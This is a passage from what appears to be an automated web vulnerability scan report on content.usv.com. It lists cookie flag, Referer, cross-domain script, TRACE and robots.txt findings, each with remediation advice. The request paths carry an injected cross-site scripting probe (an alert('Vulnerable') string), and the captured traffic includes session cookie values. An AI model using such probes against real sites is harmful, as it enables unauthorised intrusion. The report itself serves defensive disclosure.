<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
<!-- Begin Magnify.net Tracking Image -->
<img align="right" style="position: absolute; top: 0;" src="/decor/track/dot.gif?sp=enterprise&session_id=8d4e65e9e619e8dcdd6998b9d1bfedfe&rand=474864&site=P8TH6404Q1P6NBW1&time=1320846664">
<!-- End Magnify.net Tracking Image -->
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://content.usv.com/pages/canvas  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://content.usv.com
Path:   /pages/canvas

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pages/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:22 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 40673
Date: Wed, 09 Nov 2011 13:20:22 GMT
X-Varnish: 1394906787
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...

4.2. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31866
Date: Wed, 09 Nov 2011 13:51:04 GMT
X-Varnish: 1395036215
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...

5. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response 1

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31866
Date: Wed, 09 Nov 2011 13:51:04 GMT
X-Varnish: 1395036215
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
<img align="right" style="position: absolute; top: 0;" src="/decor/track/dot.gif?sp=enterprise&session_id=8d4e65e9e619e8dcdd6998b9d1bfedfe&rand=474864&site=P8TH6404Q1P6NBW1&time=1320846664">
<!-- End Magnify.net Tracking Image -->

<div id="magnify_site_top" class="magnify_site_top" style=""><script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>


<div id="wrapper">
   <div id="header">
   <strong class="logo"><a href="/">logo</a></strong>
   <div class="holder">
       <form action="http://www.usv.com/search" id="cse-search-box" class="search-bar">
        <div class="bg">
           <input type="hidden" name="cx" value="003593250663553297419:6vdvu6v6ttk" />    
           <input type="hidden" name="cof" value="FORID:10;NB:1" />
           <input type="hidden" name="ie" value="UTF-8" />
           <input type="text" class="text" name="q" />
           <input type="submit" name="sa" class="btn-search" id="btn-search" value="Search" />
        </div>
       </form>
   
       <ul id="main-nav">
           <li><a href="http://www.usv.com/team" id="main-nav-team">Our Team</a></li>
           <li><a href="http://www.usv.com/investments" id="main-nav-investments">Our Investments</a></li>
           <li><a href="http://www.usv.com/focus">Our Focus</a></li>
<li><a href="http://www.usv.com/jobs">Jobs</a></li>
       </ul>
   </div>
</div>
<div id="content">
<div></div>

       
       <div id="magnify_site_content">
           
           

       <style type="text/css">
           div#magnify_page div#magnify_site_content div#magnify_side_area {
               top: 0px;
               margin-bottom: 0px;
           }
       </style>
       <div id="magnify_site_header" class="mvp_navbar_style_text clearfix">

           <div id="mvp_navbar_links" style="float: right; padding: 8px">

                   <a href="/login/" id="mvp_navbar_login" class="mvp_navbar_link">Sign In</a>

   <span class="mvp_navbar_separator">|</span>
   <a href="/help/" id="mvp_navbar_help" class="mvp_navbar_link">Support</a>

   

           </div>

           <div id="mvp_navbar_text" style="text-align: left; padding: 8px">

                                   <a id="mvp_navlink_home" href="/" class="link_color">Home</a>
                               <span class="mvp_navbar_separator">|</span>
                               <!-- <a href="/account/" class="link_color">My Profi
...[SNIP]...

Request 2

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response 2

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:13 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31842
Date: Wed, 09 Nov 2011 13:51:13 GMT
X-Varnish: 1395037002
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
<img align="right" style="position: absolute; top: 0;" src="/decor/track/dot.gif?sp=enterprise&session_id=8d4e65e9e619e8dcdd6998b9d1bfedfe&rand=733980&site=P8TH6404Q1P6NBW1&time=1320846673">
<!-- End Magnify.net Tracking Image -->

<div id="magnify_site_top" class="magnify_site_top" style=""><script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>


<div id="wrapper">
   <div id="header">
   <strong class="logo"><a href="/">logo</a></strong>
   <div class="holder">
       <form action="http://www.usv.com/search" id="cse-search-box" class="search-bar">
        <div class="bg">
           <input type="hidden" name="cx" value="003593250663553297419:6vdvu6v6ttk" />    
           <input type="hidden" name="cof" value="FORID:10;NB:1" />
           <input type="hidden" name="ie" value="UTF-8" />
           <input type="text" class="text" name="q" />
           <input type="submit" name="sa" class="btn-search" id="btn-search" value="Search" />
        </div>
       </form>
   
       <ul id="main-nav">
           <li><a href="http://www.usv.com/team" id="main-nav-team">Our Team</a></li>
           <li><a href="http://www.usv.com/investments" id="main-nav-investments">Our Investments</a></li>
           <li><a href="http://www.usv.com/focus">Our Focus</a></li>
<li><a href="http://www.usv.com/jobs">Jobs</a></li>
       </ul>
   </div>
</div>
<div id="content">
<div></div>

       
       <div id="magnify_site_content">
           
           

       <style type="text/css">
           div#magnify_page div#magnify_site_content div#magnify_side_area {
               top: 0px;
               margin-bottom: 0px;
           }
       </style>
       <div id="magnify_site_header" class="mvp_navbar_style_text clearfix">

           <div id="mvp_navbar_links" style="float: right; padding: 8px">

                   <a href="/login/" id="mvp_navbar_login" class="mvp_navbar_link">Sign In</a>

   <span class="mvp_navbar_separator">|</span>
   <a href="/help/" id="mvp_navbar_help" class="mvp_navbar_link">Support</a>

   

           </div>

           <div id="mvp_navbar_text" style="text-align: left; padding: 8px">

                                   <a id="mvp_navlink_home" href="/" class="link_color">Home</a>
                               <span class="mvp_navbar_separator">|</span>
                               <!-- <a href="/account/" class="link_color">My Profi
...[SNIP]...

6. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://content.usv.com
Path:   /decor/javascript/magnify_twitter_feed.js

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /decor/javascript/magnify_twitter_feed.js?v2 HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://content.usv.com/pages/canvas
Cookie: mvp_session=8627e717f112147e93421865a81b920b

Response

HTTP/1.1 200 OK
Server: Apache
Vary: Accept-Encoding
Last-Modified: Mon, 07 Feb 2011 16:44:38 GMT
ETag: "172d639-26c0-4d502176"
Content-Type: application/javascript
X-Magnify-URL-Class: decor
Content-Length: 9920
Date: Wed, 09 Nov 2011 13:20:29 GMT
X-Varnish: 1394907405 1394906041
Age: 21
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT


var MagnifyTwitterObject = Class.create({

   initialize: function(obj) {    
       this.id = obj.id;
       
       var text = obj.text;
       text = text.gsub(/http:\/\/\S+/, function(match) { return '<a href="' + match[
...[SNIP]...
</a>'; });
       
       text = text.gsub(/@\w+/, function(match) { var name = match[0].sub('@',''); return '<a href="http://www.twitter.com/' + name.strip() + '" target="_blank">' + match[0].strip() + '</a>
...[SNIP]...
<span class="magnify-twitter-from-user"><a href="http://www.twitter.com/' + this.from_user + '">' + this.from_user + '</a>
...[SNIP]...

7. Cross-domain script include  previous  next
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


7.1. http://content.usv.com/pages/canvas  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pages/canvas

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /pages/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: mvp_session=8627e717f112147e93421865a81b920b; path=/; expires=Thu, 10-Nov-2011 13:20:22 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 40673
Date: Wed, 09 Nov 2011 13:20:22 GMT
X-Varnish: 1394906787
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
</script>

       <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
</script>        

       <script src="http://decor.magnify.net/decor/javascript/prototype.js" type="text/javascript"></script>
       <script src="http://decor.magnify.net/decor/javascript/scriptaculous.js" type="text/javascript"></script>
...[SNIP]...
</script>        
       <script src="http://decor.magnify.net/decor/javascript/elements.js?4" type="text/javascript"></script>
       <script src="http://decor.magnify.net/decor/javascript/event-selectors.js" type="text/javascript"></script>
       <script src="http://decor.magnify.net/decor/javascript/swfobject.js" type="text/javascript"></script>
...[SNIP]...
<div id="magnify_site_top" class="magnify_site_top" style=""><script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</script>

   
   <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</script>
   
   <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

7.2. http://content.usv.com/pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /pagese1e84%22%3balert(%27Vulnerable%27)//aba97bdb741/canvas HTTP/1.1
Host: content.usv.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://burp/show/8
Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.4.10.1320844809; __utmz=122599449.1320844809.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; __qca=P0-2072621249-1320844809083; _chartbeat2=ih6s7x8qg3r8a7xj.1320844811874; __utmc=122599449

Response

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: mvp_session=8d4e65e9e619e8dcdd6998b9d1bfedfe; path=/; expires=Thu, 10-Nov-2011 13:51:04 GMT
Content-Type: Text/HTML
X-Magnify-URL-Class: modperl-nocache
Content-Length: 31866
Date: Wed, 09 Nov 2011 13:51:04 GMT
X-Varnish: 1395036215
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
   
...[SNIP]...
</script>

       <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
...[SNIP]...
</script>        

       <script src="http://decor.magnify.net/decor/javascript/prototype.js" type="text/javascript"></script>
       <script src="http://decor.magnify.net/decor/javascript/scriptaculous.js" type="text/javascript"></script>
...[SNIP]...
</script>        
       <script src="http://decor.magnify.net/decor/javascript/elements.js?4" type="text/javascript"></script>
       <script src="http://decor.magnify.net/decor/javascript/event-selectors.js" type="text/javascript"></script>
       <script src="http://decor.magnify.net/decor/javascript/swfobject.js" type="text/javascript"></script>
...[SNIP]...
<div id="magnify_site_top" class="magnify_site_top" style=""><script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</script>

   
   <script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
...[SNIP]...
</script>
   
   <script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...

8. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://content.usv.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: content.usv.com
Cookie: e1eef8d17ee8a762

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: message/http
X-Magnify-URL-Class: modperl-nocache
Content-Length: 498
Date: Wed, 09 Nov 2011 13:20:22 GMT
X-Varnish: 1394906848
Age: 0
Via: 1.1 varnish
Connection: close
X-Cache: MISS

TRACE / HTTP/1.0
Cookie: e1eef8d17ee8a762; mvp_session=8627e717f112147e93421865a81b920b; __utma=122599449.116690764.1320844809.1320844809.1320844809.1; __utmb=122599449.1.10.1320844809; __utmc=122599449; __utmz=122599449.1320844809.1.1.utmcsr
...[SNIP]...

9. Robots.txt file  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://content.usv.com
Path:   /pages/canvas

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: content.usv.com

Response

HTTP/1.1 200 OK
Server: Apache
Content-Location: robots.txt.mason
Vary: negotiate
TCN: choice
X-Magnify-Edge-Control: cache-maxage=86400
Content-Type: text/plain
X-Magnify-URL-Class: modperl-cachable
X-Magnify-Edge-Control-TTL: 86400
X-Magnify-Cached: YES
Content-Length: 166
Date: Wed, 09 Nov 2011 13:20:23 GMT
X-Varnish: 1394906896 1394746935
Age: 2445
Via: 1.1 varnish
Connection: close
X-Cache: HIT

User-agent: *
Disallow: /decor/track/
Disallow: /publish/
Disallow: /user/
Disallow: /account/
Disallow: /login/
Allow: /
Sitemap: http://content.usv.com/sitemap.xml

Report generated by XSS.CX at Thu Nov 10 10:00:51 CST 2011.